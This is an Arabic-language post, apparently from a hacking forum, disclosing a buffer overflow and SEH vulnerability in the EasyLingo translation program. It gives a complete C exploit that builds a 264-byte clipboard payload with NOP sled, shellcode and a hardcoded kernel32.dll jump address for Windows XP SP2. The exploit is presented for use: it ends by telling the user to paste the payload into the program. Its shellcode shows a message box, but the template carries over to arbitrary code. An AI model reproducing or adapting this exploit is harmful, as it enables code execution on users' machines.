برنامج EasyLingo من اشهر برامج الترجمه ونلاحظ انه استخدم طريقه جديده في الترجمه
تعتمد على اللمس ؟ إذا أشرت على اي كلمة في الجهاز فإن البرنامج يقوم بترجمتها
يبدأ بنقلها إلى النافذة ثم يقوم بمعالجتها وإظهار معناها.
تم إيجاد أكثر من ثغره في هذه العملية
الأولى ثغرة فيض في المتغير الذي يتم نقل كلمه الترجمه له, لأن البرنامج يعتمد
على ترجمه الكلمات وأسماء الملفات التي يقل حجمها عن 256 حرف إذا حاولت إدخال
كلمه أكبر تحدث ثغره فيض ... لاحظ مثالنا:
سنقوم بكتابة shellcode عبارة عن إظهار مسج تحذيري.
بعد ان تقوم بترجمه الشل كود وتشغيله سينسخ إلى Clipboard إنسخه إلى address bar وحاول ترجمته
او قم بنسخه مباشرة في مربع الترجمه. وإضغط على امر الترجمة
-
هذا المثال مجرب على WinXP sp2 وستلاحظ اننا سنقوم بإستخدام اكود موجودة
داخل المكتبة كيرنل kernel32.dll لنقل التحكم إلى shellcode ,,, لتنويع الافكار
ثغرة الفيض تحدث عند التعليمةالتالية
كود:
00613F3D REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
وهذه صورة لإكتشاف ثغرة SEH
//
كود الإستغلال:-
كود:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
//شيل كود عبارة عن إظهار مسج تحذيري
unsigned char shellcode[]=
"\x90\x90\x6A\x01\x6A\x01\xFF\x72\x1A\xE8\xC7\xE6\xCF\x73\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x53\x74\x61\x72\x74\x20"
"\x48\x61\x63\x6B\x69\x6E\x67\x2E\x2E\x2E\x20\x62\x79\x20\x4A\x41\x41\x53\x63\x6F\x69\x73\x2E\x63\x6F\x6D\x90\x90\x90\x90\x90\x90";
int main(int argc, char **argv)
{
void* clipbuf=NULL;
unsigned char* addrshellcode=NULL;
printf("EasyLingo -> LIGDRV.DLL Buffer Overflow & SEH Exploit \n\r");
printf(" :.. by JAAScois ..:.. Web www.JAAScois.com ..:......\n\r");
clipbuf=GlobalAlloc (GMEM_DDESHARE
|GMEM_ZEROINIT,264);
if(!clipbuf){
GlobalFree(clipbuf);
printf("!GlobalAlloc \n\r");
return 1;
}
addrshellcode=(unsigned char*)GlobalLock(clipbuf);
if(!addrshellcode){
printf("!GlobalLock \n\r");
return 1;
}
// nop's ;0x90
for(int i=0;i<=264;i++){
addrshellcode[i]=0x90;
}
//في هذا االمثال سنستخدم تعليمة خارج البرنامج للإنتقال إلى الشيل كود
//التعليمة موجودة في ملف الكيرنل
//0x7C87A0BE: kernel32.dll -> call EDI= shellcode
DWORD ediaddr;
ediaddr=0x7C87A0BE;
memcpy(&addrshellcode[256],&ediaddr,4); //goto 0x7C87A0BE
memcpy(&addrshellcode[260],&ediaddr,4); // goto 0x7C87A0BE
// copy shellcode// إضافة برنامج إظهار المسج إلى الشيل كود
memcpy(&addrshellcode[0],shellcode,64);
GlobalUnlock (clipbuf);
// نسخ الشيل كود إلى الحافظة
if(!OpenClipboard(GetDesktopWindow()))
return 1;
if(!EmptyClipboard())
return 1;
SetClipboardData (CF_TEXT,clipbuf);
CloseClipboard ();
GlobalFree(clipbuf);
printf("ok! now paste shellcode to address bar\n\r");
return 0;
}
-----------------------------------
الثغرة من إكتشاف: JAAScois